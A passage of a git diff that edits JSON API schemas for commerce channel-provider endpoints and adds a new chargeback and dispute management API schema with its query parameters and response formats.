"pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$", + "type": "string" } }, - "status": { - "$id": "https://godaddy.com/schemas/commerce/channel-provider-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "ChannelProviderStatus", - "type": "string", - "enum": [ - "ACTIVE", - "SUSPENDED", - "TERMINATED" - ], - "description": "Channel Provider Status", - "default": "ACTIVE" - } - }, - "required": [ - "name" - ] - }, - "type": "array" - }, - "totalItems": { - "description": "Total number of Channel Providers matching the search criteria. Returned only when totalRequired is set to true.", - "type": "integer" - }, - "totalPages": { - "description": "Total number of pages matching the search criteria. Returned only when totalRequired is set to true.", - "type": "integer" + "required": [ + "name" + ], + "title": "Basic Channel", + "type": "object" + } + ], + "description": "Resource representing the Social Channel", + "title": "Social Channel", + "type": "object" }, - "links": { - "description": "Array of HATEOAS link relations that should be used to navigate across pages of Channel providers", - "$id": "https://godaddy.com/schemas/commerce/link.v1", + { + "$id": "https://godaddy.com/schemas/commerce/basic-channel.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Links", - "items": { - "$id": "https://godaddy.com/schema/common/link-description.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Link Description", - "type": "object", - "description": "A request-related [HATEOAS link](https://datatracker.ietf.org/doc/html/draft-handrews-json-schema-hyperschema-02).", - "properties": { - "href": { - "description": "The complete target URL, or link, to use in combination with the method to make the related call, as defined by [RFC 6570 - URI Template](https://tools.ietf.org/html/rfc6570), with the addition of the `$`, `(`, and `)` characters for pre-processing. The `href` is the key HATEOAS component that links a completed call with a subsequent call.", - "type": "string", - "format": "uri" - }, - "rel": { - "description": "The [link relation type](https://tools.ietf.org/html/rfc5988#section-4), which is an identifier for a link that unambiguously describes the semantics of the link. For values, see [Link Relationship Types](https://www.iana.org/assignments/link-relations/link-relations.xhtml).", - "type": "string" - }, - "title": { - "description": "The link title.", - "type": "string" - }, - "targetMediaType": { - "description": "The [RFC 2046-defined media type](https://www.ietf.org/rfc/rfc2046.txt) that describes the link target.", - "type": "string" - }, - "targetSchema": { - "description": "The schema that describes the link target." - }, - "method": { - "description": "The method to use to request the link target. For example, for HTTP, this might be `GET` or `DELETE`.", - "type": "string" - }, - "submissionMediaType": { - "description": "The media type with which to submit data with the request.", - "type": "string", - "default": "application/json" - }, - "submissionSchema": { - "description": "The schema that describes the request data." - } + "description": "Resource representing the Basic Channel", + "properties": { + "channelId": { + "$id": "https://godaddy.com/schemas/commerce/channelapi/Id.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "unique identifier", + "example": "id", + "format": "uuid", + "pattern": "[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", + "title": "Id", + "type": "string" }, - "required": [ - "rel", - "href" - ] - } - } - } - } - } - }, - "scopes": [ - "commerce.channel-provider:read" - ] - }, - { - "operationId": "patchChannelProvider", - "method": "PATCH", - "path": "/channel-providers/{channelProviderId}", - "summary": "Update channel provider", - "parameters": [ - { - "name": "channelProviderId", - "in": "path", - "required": true, - "schema": { - "$id": "https://godaddy.com/schemas/commerce/channelapi/Id.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Id", - "description": "unique identifier", - "type": "string", - "format": "uuid", - "example": "id", - "pattern": "[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}" - } - } - ], - "requestBody": { - "required": false, - "contentType": "application/json", - "schema": { - "items": { - "$id": "https://godaddy.com/schemas/json-patch.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "JsonPatch", - "type": "array", - "definitions": { - "path": { - "description": "A JSON Pointer path.", - "type": "string" - } - }, - "items": { - "oneOf": [ - { - "additionalProperties": false, - "required": [ - "value", - "op", - "path" - ], - "properties": { - "path": { - "description": "A JSON Pointer path.", - "type": "string" - }, - "op": { - "description": "The operation to perform.", - "type": "string", - "enum": [ - "add", - "replace", - "test" - ] + "channelProviderId": { + "$id": "https://godaddy.com/schemas/commerce/channelapi/Id.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "unique identifier", + "example": "id", + "format": "uuid", + "pattern": "[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", + "title": "Id", + "type": "string" + }, + "createdAt": { + "$id": "https://godaddy.com/schemas/common/date-time.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A date and time, in [Internet date and time format](https://tools.ietf.org/html/rfc3339#section-5.6). Note: The regular expression provides static schematic guidance but does not reject all invalid dates.", + "maxLength": 64, + "minLength": 20, + "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$", + "type": "string" + }, + "externalChannelId": { + "description": "External identifier of the channel", + "maxLength": 64, + "type": "string" + }, + "links": { + "$id": "https://godaddy.com/schemas/commerce/link.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "HATEOAS links", + "items": { + "$id": "https://godaddy.com/schema/common/link-description.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A request-related [HATEOAS link](https://datatracker.ietf.org/doc/html/draft-handrews-json-schema-hyperschema-02).", + "properties": { + "href": { + "description": "The complete target URL, or link, to use in combination with the method to make the related call, as defined by [RFC 6570 - URI Template](https://tools.ietf.org/html/rfc6570), with the addition of the `$`, `(`, and `)` characters for pre-processing. The `href` is the key HATEOAS component that links a completed call with a subsequent call.", + "format": "uri", + "type": "string" + }, + "method": { + "description": "The method to use to request the link target. For example, for HTTP, this might be `GET` or `DELETE`.", + "type": "string" + }, + "rel": { + "description": "The [link relation type](https://tools.ietf.org/html/rfc5988#section-4), which is an identifier for a link that unambiguously describes the semantics of the link. For values, see [Link Relationship Types](https://www.iana.org/assignments/link-relations/link-relations.xhtml).", + "type": "string" + }, + "submissionMediaType": { + "default": "application/json", + "description": "The media type with which to submit data with the request.", + "type": "string" + }, + "submissionSchema": { + "description": "The schema that describes the request data." + }, + "targetMediaType": { + "description": "The [RFC 2046-defined media type](https://www.ietf.org/rfc/rfc2046.txt) that describes the link target.", + "type": "string" + }, + "targetSchema": { + "description": "The schema that describes the link target." + }, + "title": { + "description": "The link title.", + "type": "string" + } + }, + "required": [ + "rel", + "href" + ], + "title": "Link Description", + "type": "object" }, - "value": { - "description": "The value to add, replace or test." - } - } - }, - { - "additionalProperties": false, - "required": [ - "op", - "path" - ], - "properties": { - "path": { - "description": "A JSON Pointer path.", - "type": "string" + "title": "Links" + }, + "name": { + "description": "Name of the channel", + "maxLength": 128, + "type": "string" + }, + "registeredStores": { + "description": "List of stores that are registered to this channel", + "items": { + "$id": "https://godaddy.com/schemas/commerce/registered-store.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Resource representing Store registration with Channel", + "properties": { + "default": { + "default": false, + "description": "If this is a default channel for the store", + "type": "boolean" + }, + "links": { + "$id": "https://godaddy.com/schemas/commerce/link.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "HATEOAS links", + "items": { + "$id": "https://godaddy.com/schema/common/link-description.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A request-related [HATEOAS link](https://datatracker.ietf.org/doc/html/draft-handrews-json-schema-hyperschema-02).", + "properties": { + "href": { + "description": "The complete target URL, or link, to use in combination with the method to make the related call, as defined by [RFC 6570 - URI Template](https://tools.ietf.org/html/rfc6570), with the addition of the `$`, `(`, and `)` characters for pre-processing. The `href` is the key HATEOAS component that links a completed call with a subsequent call.", + "format": "uri", + "type": "string" + }, + "method": { + "description": "The method to use to request the link target. For example, for HTTP, this might be `GET` or `DELETE`.", + "type": "string" + }, + "rel": { + "description": "The [link relation type](https://tools.ietf.org/html/rfc5988#section-4), which is an identifier for a link that unambiguously describes the semantics of the link. For values, see [Link Relationship Types](https://www.iana.org/assignments/link-relations/link-relations.xhtml).", + "type": "string" + }, + "submissionMediaType": { + "default": "application/json", + "description": "The media type with which to submit data with the request.", + "type": "string" + }, + "submissionSchema": { + "description": "The schema that describes the request data." + }, + "targetMediaType": { + "description": "The [RFC 2046-defined media type](https://www.ietf.org/rfc/rfc2046.txt) that describes the link target.", + "type": "string" + }, + "targetSchema": { + "description": "The schema that describes the link target." + }, + "title": { + "description": "The link title.", + "type": "string" + } + }, + "required": [ + "rel", + "href" + ], + "title": "Link Description", + "type": "object" + }, + "title": "Links" + }, + "status": { + "$id": "https://godaddy.com/schemas/commerce/registered-store-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "default": "ENABLED", + "description": "Registered Store Status", + "enum": [ + "ENABLED", + "DISABLED" + ], + "title": "RegisteredStoreStatus", + "type": "string" + }, + "storeId": { + "$id": "https://godaddy.com/schemas/commerce/channelapi/Id.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "unique identifier", + "example": "id", + "format": "uuid", + "pattern": "[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", + "title": "Id", + "type": "string" + } + }, + "required": [ + "storeId" + ], + "title": "RegisteredStore", + "type": "object" }, - "op": { - "description": "The operation to perform.", - "type": "string", - "enum": [ - "remove" - ] - } + "type": "array" + }, + "status": { + "$id": "https://godaddy.com/schemas/commerce/channel-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "default": "ACTIVE", + "description": "Channel Status", + "enum": [ + "PENDING_SETUP", + "ACTIVE", + "INACTIVE", + "ERROR", + "REMOVED" + ], + "title": "ChannelStatus", + "type": "string" + }, + "subType": { + "description": "Additional information that represents the type of the channel", + "maxLength": 256, + "type": "string" + }, + "updatedAt": { + "$id": "https://godaddy.com/schemas/common/date-time.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A date and time, in [Internet date and time format](https://tools.ietf.org/html/rfc3339#section-5.6). Note: The regular expression provides static schematic guidance but does not reject all invalid dates.", + "maxLength": 64, + "minLength": 20, + "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$", + "type": "string" } }, - { - "additionalProperties": false, - "required": [ - "from", - "op", - "path" - ], - "properties": { - "path": { - "description": "A JSON Pointer path.", - "type": "string" - }, - "op": { - "description": "The operation to perform.", - "type": "string", - "enum": [ - "move", - "copy" - ] - }, - "from": { - "description": "A JSON Pointer path.", - "type": "string" - } - } - } - ] - } - }, - "type": "array" - } - }, - "responses": { - "200": { - "description": "Channel Provider updated", - "schema": { - "$id": "https://godaddy.com/schemas/commerce/channel-provider.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "ChannelProvider", - "type": "object", - "description": "Resource representing the Channel Provider", - "properties": { - "channelProviderId": { - "$id": "https://godaddy.com/schemas/commerce/channelapi/Id.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Id", - "description": "unique identifier", - "type": "string", - "format": "uuid", - "example": "id", - "pattern": "[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}" - }, - "name": { - "type": "string", - "description": "Name of the channel provider", - "maxLength": 128 - }, - "supportedChannelTypes": { - "type": "array", - "description": "Channel types supported by provider", - "items": { - "$id": "https://godaddy.com/schemas/commerce/channel-type.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "ChannelType", - "type": "string", - "description": "ChannelType", - "enum": [ - "RETAIL", - "ONLINE", - "MOBILE", - "MARKETPLACE", - "SOCIAL", - "DEFAULT" - ] - } - }, - "status": { - "$id": "https://godaddy.com/schemas/commerce/channel-provider-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "ChannelProviderStatus", - "type": "string", - "enum": [ - "ACTIVE", - "SUSPENDED", - "TERMINATED" + "required": [ + "name" ], - "description": "Channel Provider Status", - "default": "ACTIVE" + "title": "Basic Channel", + "type": "object" } - }, - "required": [ - "name" - ] - } - }, - "404": { - "description": "Channel Provider Not Found" - } - }, - "scopes": [ - "commerce.channel-provider:update" - ] - }, - { - "operationId": "getChannelProviderById", - "method": "GET", - "path": "/channel-providers/{channelProviderId}", - "summary": "Get channel provider by ID", - "description": "Retrieve the information of the channel provider using the ID.", - "parameters": [ - { - "name": "channelProviderId", - "in": "path", - "required": true, - "schema": { - "$id": "https://godaddy.com/schemas/commerce/channelapi/Id.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Id", - "description": "unique identifier", - "type": "string", - "format": "uuid", - "example": "id", - "pattern": "[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}" - } - } - ], - "responses": { - "200": { - "description": "Channel provider Found", - "schema": { - "$id": "https://godaddy.com/schemas/commerce/channel-provider.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "ChannelProvider", - "type": "object", - "description": "Resource representing the Channel Provider", + ], "properties": { - "channelProviderId": { - "$id": "https://godaddy.com/schemas/commerce/channelapi/Id.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Id", - "description": "unique identifier", - "type": "string", - "format": "uuid", - "example": "id", - "pattern": "[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}" - }, - "name": { - "type": "string", - "description": "Name of the channel provider", - "maxLength": 128 - }, - "supportedChannelTypes": { - "type": "array", - "description": "Channel types supported by provider", - "items": { - "$id": "https://godaddy.com/schemas/commerce/channel-type.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "ChannelType", - "type": "string", - "description": "ChannelType", - "enum": [ - "RETAIL", - "ONLINE", - "MOBILE", - "MARKETPLACE", - "SOCIAL", - "DEFAULT" - ] - } - }, - "status": { - "$id": "https://godaddy.com/schemas/commerce/channel-provider-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "ChannelProviderStatus", - "type": "string", - "enum": [ - "ACTIVE", - "SUSPENDED", - "TERMINATED" - ], - "description": "Channel Provider Status", - "default": "ACTIVE" + "type": { + "description": "Channel type should be one of ('RETAIL','ONLINE','MOBILE','MARKETPLACE','SOCIAL','DEFAULT')", + "type": "string" } }, "required": [ - "name" - ] + "type" + ], + "title": "Channel", + "type": "object" } - }, - "404": { - "description": "Channel provider Not Found" } }, "scopes": [ - "commerce.channel-provider:read" + "commerce.channel:update" ] } ] diff --git a/rust/schemas/api/chargebacks.json b/rust/schemas/api/chargebacks.json new file mode 100644 index 0000000..481a22f --- /dev/null +++ b/rust/schemas/api/chargebacks.json @@ -0,0 +1,1634 @@ +{ + "name": "chargebacks", + "title": "Chargeback Management", + "description": "API capable of fetching, challenging and accepting chargebacks and managing related disputes", + "version": "1.0.0", + "baseUrl": "https://api.godaddy.com/v1/commerce", + "endpoints": [ + { + "operationId": "get_transaction_dispute_document_constraints", + "method": "GET", + "path": "/transaction-dispute-document-constraints", + "summary": "", + "parameters": [ + { + "name": "processor", + "in": "query", + "required": true, + "description": "The processor of the disputes", + "schema": { + "enum": [ + "ADYEN", + "ELAVON" + ], + "type": "string" + } + } + ], + "responses": { + "200": { + "description": "Successfully retrieved the file constraints.", + "schema": { + "$id": "https://godaddy.com/schemas/commerce/chargeabck/document-constraints.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "The constraints of the defense documents to be uploaded", + "properties": { + "properties": { + "additionalConstraints": { + "description": "Additional constraints from different credit card brands", + "type": "string" + }, + "fileExtensions": { + "description": "A list of allowed file extensions", + "items": { + "type": "string" + }, + "type": "array" + }, + "maxFileCount": { + "description": "Allowed maximum number of files to be submitted in total", + "type": "integer" + }, + "maxFileSizes": { + "description": "A list of maximum file sizes", + "items": { + "$id": "https://godaddy.com/schemas/commerce/chargeabck/max-file-size.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "The maximum size of the file", + "properties": { + "properties": { + "maxFileSize": { + "description": "maximum file size based on the mimeType in MB", + "type": "integer" + }, + "mimeType": { + "description": "allowed mimeType", + "type": "String" + } + } + }, + "title": "MaxFileSize", + "type": "object" + }, + "type": "array" + } + } + }, + "title": "DocumentConstraints", + "type": "object" + } + }, + "default": { + "description": "Error", + "schema": { + "$ref": "./common-types/v1/schemas/yaml/error.yaml" + } + } + }, + "scopes": [ + "commerce.transaction-disputes:read" + ] + }, + { + "operationId": "get_transaction_disputes", + "method": "GET", + "path": "/transaction-disputes", + "summary": "Retrieve a list of disputes", + "description": "Retrieve a list of disputes filtered by constraints. This endpoint won't provide refund related details. Please use /disputes/{disputeId} if you need this information", + "parameters": [ + { + "name": "disputeIds", + "in": "query", + "required": false, + "description": "A list of dispute unique identifiers", + "schema": { + "type": "string" + } + }, + { + "name": "chargebackControlNumbers", + "in": "query", + "required": false, + "description": "A list of external unique identifiers for chargeback cases", + "schema": { + "type": "string" + } + }, + { + "name": "transactionIds", + "in": "query", + "required": false, + "description": "A list of unique identifiers for transactions", + "schema": { + "type": "string" + } + }, + { + "name": "businessIds", + "in": "query", + "required": false, + "description": "A list of unique identifiers for businesses", + "schema": { + "type": "string" + } + }, + { + "name": "storeId", + "in": "query", + "required": false, + "description": "An unique identifier for storeId", + "schema": { + "format": "uuid", + "type": "string" + } + }, + { + "name": "disputePhase", + "in": "query", + "required": false, + "description": "The current phase of the dispute", + "schema": { + "$id": "https://godaddy.com/schema/common/dispute-phase.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "The phase of the dispute. Possible values [First Chargeback, Second Chargeback, Chargeback Reversal, Arbitration, Compliance, Good Faith, Fee, Pre-Arbitration, Pre-Compliance, Pre-Note, Retrieval, Collections, ACH RETURN]", + "title": "Dispute Phase", + "type": "string" + } + }, + { + "name": "phaseStatuses", + "in": "query", + "required": false, + "description": "A list of statuses of the dispute phase. Choose to filter by either phaseStatuses or disputeStatus", + "schema": { + "items": { + "$id": "https://godaddy.com/schema/common/phase-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "The status of the dispute phase. Possible values [New, Pending Submission, Submitted to Acquirer, Expired, Accepted, Declined, Fee Acknowledged, Fulfilled Merchant, Fulfilled-Acquirer, Reversed, Return Created]", + "title": "Phase Status", + "type": "string" + }, + "type": "array" + } + }, + { + "name": "disputeStatus", + "in": "query", + "required": false, + "description": "The overall status of the dispute. Choose to filter by either phaseStatuses or disputeStatus", + "schema": { + "$id": "https://godaddy.com/schema/common/dispute-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "The status of the dispute", + "enum": [ + "NEED_RESPONSE", + "IN_REVIEW", + "LOST", + "WON" + ], + "title": "Dispute Status", + "type": "string" + } + }, + { + "name": "isReviewed", + "in": "query", + "required": false, + "description": "Indicate whether merchants have reviewed WIN/LOST status of a chargeback phase", + "schema": { + "type": "boolean" + } + }, + { + "name": "isAccepted", + "in": "query", + "required": false, + "description": "Indicate whether merchants accepted the dispute", + "schema": { + "type": "boolean" + } + }, + { + "name": "isActionable", + "in": "query", + "required": false, + "description": "Indicate whether merchants should take an action.", + "schema": { + "type": "boolean" + } + }, + { + "name": "isRespondable", + "in": "query", + "required": false, + "description": "Indicate whether merchants can upload a document.", + "schema": { + "type": "boolean" + } + }, + { + "name": "reasonCodes", + "in": "query", + "required": false, + "description": "A list of reason Code of the chargeback", + "schema": { + "items": { + "type": "string" + }, + "type": "array" + } + }, + { + "name": "processor", + "in": "query", + "required": false, + "description": "The processor of the dispute", + "schema": { + "enum": [ + "ELAVON", + "ADYEN" + ], + "type": "string" + } + }, + { + "name": "currency", + "in": "query", + "required": false, + "description": "The currency in which the amount is specified", + "schema": { + "$id": "https://godaddy.com/schemas/common/currency-code.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A three-character ISO-4217 currency code.", + "maxLength": 3, + "minLength": 3, + "title": "Currency Code", + "type": "string" + } + }, + { + "name": "sortBy", + "in": "query", + "required": false, + "description": "The field by which to sort the results. 'disputeExpiredAt' and 'disputeProcessedBy' share the same enum 'EXPIRED_AT'. Default is 'UPDATED_AT'", + "schema": { + "default": "UPDATED_AT", + "enum": [ + "RECEIVED_AT", + "EXPIRED_AT", + "UPDATED_AT" + ], + "type": "string" + } + }, + { + "name": "sortOrder", + "in": "query", + "required": false, + "description": "The order of sorting, either ascending ('ASC') or descending ('DESC'). Default is descending ('DESC')", + "schema": { + "default": "DESC", + "enum": [ + "ASC", + "DESC" + ], + "type": "string" + } + }, + { + "name": "processByAfter", + "in": "query", + "required": false, + "description": "Filter disputes to be processed after a given date/time (RFC 3339)", + "schema": { + "$id": "https://godaddy.com/schemas/common/date-time.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A date and time, in [Internet date and time format](https://tools.ietf.org/html/rfc3339#section-5.6). Note: The regular expression provides static schematic guidance but does not reject all invalid dates.", + "maxLength": 64, + "minLength": 20, + "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$", + "type": "string" + } + }, + { + "name": "processByBefore", + "in": "query", + "required": false, + "description": "Filter disputes to be processed before a given date/time (RFC 3339)", + "schema": { + "$id": "https://godaddy.com/schemas/common/date-time.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A date and time, in [Internet date and time format](https://tools.ietf.org/html/rfc3339#section-5.6). Note: The regular expression provides static schematic guidance but does not reject all invalid dates.", + "maxLength": 64, + "minLength": 20, + "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$", + "type": "string" + } + }, + { + "name": "expiresAfter", + "in": "query", + "required": false, + "description": "Filter disputes expiring after a specified date/time (RFC 3339)", + "schema": { + "$id": "https://godaddy.com/schemas/common/date-time.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A date and time, in [Internet date and time format](https://tools.ietf.org/html/rfc3339#section-5.6). Note: The regular expression provides static schematic guidance but does not reject all invalid dates.", + "maxLength": 64, + "minLength": 20, + "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$", + "type": "string" + } + }, + { + "name": "expiresBefore", + "in": "query", + "required": false, + "description": "Filter disputes expiring before a specified date/time (RFC 3339)", + "schema": { + "$id": "https://godaddy.com/schemas/common/date-time.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A date and time, in [Internet date and time format](https://tools.ietf.org/html/rfc3339#section-5.6). Note: The regular expression provides static schematic guidance but does not reject all invalid dates.", + "maxLength": 64, + "minLength": 20, + "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$", + "type": "string" + } + }, + { + "name": "receivedAfter", + "in": "query", + "required": false, + "description": "Filters for disputes that were received after the specified date and time. The date and time should be RFC 3339 format", + "schema": { + "$id": "https://godaddy.com/schemas/common/date-time.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A date and time, in [Internet date and time format](https://tools.ietf.org/html/rfc3339#section-5.6). Note: The regular expression provides static schematic guidance but does not reject all invalid dates.", + "maxLength": 64, + "minLength": 20, + "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$", + "type": "string" + } + }, + { + "name": "receivedBefore", + "in": "query", + "required": false, + "description": "Filters for disputes that were received before the specified date and time. The date and time should be RFC 3339 format", + "schema": { + "$id": "https://godaddy.com/schemas/common/date-time.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A date and time, in [Internet date and time format](https://tools.ietf.org/html/rfc3339#section-5.6). Note: The regular expression provides static schematic guidance but does not reject all invalid dates.", + "maxLength": 64, + "minLength": 20, + "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$", + "type": "string" + } + }, + { + "name": "pageSize", + "in": "query", + "required": false, + "description": "The number of records per page. Default is 10", + "schema": { + "default": 10, + "type": "integer" + } + }, + { + "name": "page", + "in": "query", + "required": false, + "description": "The page number of the results to retrieve. Default is 1", + "schema": { + "default": 1, + "type": "integer" + } + }, + { + "name": "totalRequired", + "in": "query", + "required": false, + "description": "A boolean that indicates whether the total number of records is required. Default is false", + "schema": { + "default": false, + "type": "boolean" + } + } + ], + "responses": { + "default": { + "description": "Error", + "schema": { + "$ref": "./common-types/v1/schemas/yaml/error.yaml" + } + }, + "200": { + "description": "A list of disputes including pagination", + "schema": { + "$id": "https://godaddy.com/schemas/commerce/chargeabck/simple-dispute-list.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Represents a collection of dispute items, each containing key details of individual disputes, along with navigation links for pagination or related actions", + "properties": { + "items": { + "description": "An array of dispute items", + "items": { + "$id": "https://godaddy.com/schemas/commerce/chargeabck/simple-dispute.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Dispute details including phase and status information", + "properties": { + "businessId": { + "description": "Unique identifier for business", + "format": "uuid", + "type": "string" + }, + "chargebackAmount": { + "description": "The amount associated with the chargeback", + "type": "integer" + }, + "chargebackControlNumber": { + "description": "External unique identifier for a chargeback", + "type": "string" + }, + "currency": { + "$id": "https://godaddy.com/schemas/common/currency-code.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A three-character ISO-4217 currency code.", + "maxLength": 3, + "minLength": 3, + "title": "Currency Code", + "type": "string" + }, + "customerName": { + "description": "Name of the customer", + "type": "string" + }, + "disputeId": { + "description": "Dispute unique identifier in the format of a URN with 'urn:dsp:' prefix followed by a UUID", + "pattern": "^urn:dsp:[0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{12}$", + "type": "string" + }, + "disputePhase": { + "$id": "https://godaddy.com/schema/common/dispute-phase.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "The phase of the dispute. Possible values [First Chargeback, Second Chargeback, Chargeback Reversal, Arbitration, Compliance, Good Faith, Fee, Pre-Arbitration, Pre-Compliance, Pre-Note, Retrieval, Collections, ACH RETURN]", + "title": "Dispute Phase", + "type": "string" + }, + "disputePhaseId": { + "description": "Dispute phase unique identifier in the format of a URN with 'urn:dph:' prefix followed by a UUID", + "pattern": "^urn:dph:[0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{12}$", + "type": "string" + }, + "disputePhaseStatus": { + "$id": "https://godaddy.com/schema/common/phase-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "The status of the dispute phase. Possible values [New, Pending Submission, Submitted to Acquirer, Expired, Accepted, Declined, Fee Acknowledged, Fulfilled Merchant, Fulfilled-Acquirer, Reversed, Return Created]", + "title": "Phase Status", + "type": "string" + }, + "disputeStatus": { + "$id": "https://godaddy.com/schema/common/dispute-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "The status of the dispute", + "enum": [ + "NEED_RESPONSE", + "IN_REVIEW", + "LOST", + "WON" + ], + "title": "Dispute Status", + "type": "string" + }, + "distributorId": { + "description": "Unique identifier for distributor", + "format": "uuid", + "type": "string" + }, + "expiresAt": { + "$id": "https://godaddy.com/schemas/common/date-time.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A date and time, in [Internet date and time format](https://tools.ietf.org/html/rfc3339#section-5.6). Note: The regular expression provides static schematic guidance but does not reject all invalid dates.", + "maxLength": 64, + "minLength": 20, + "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$", + "type": "string" + }, + "isAccepted": { + "description": "Indicate whether merchants accepted the chargeback", + "type": "boolean" + }, + "isActionable": { + "description": "Indicate whether merchants should take an action", + "nullable": true, + "type": "boolean" + }, + "isRefundSettledIncluded": { + "description": "Indicate whether original transaction has settled refunds", + "type": "boolean" + }, + "isRespondable": { + 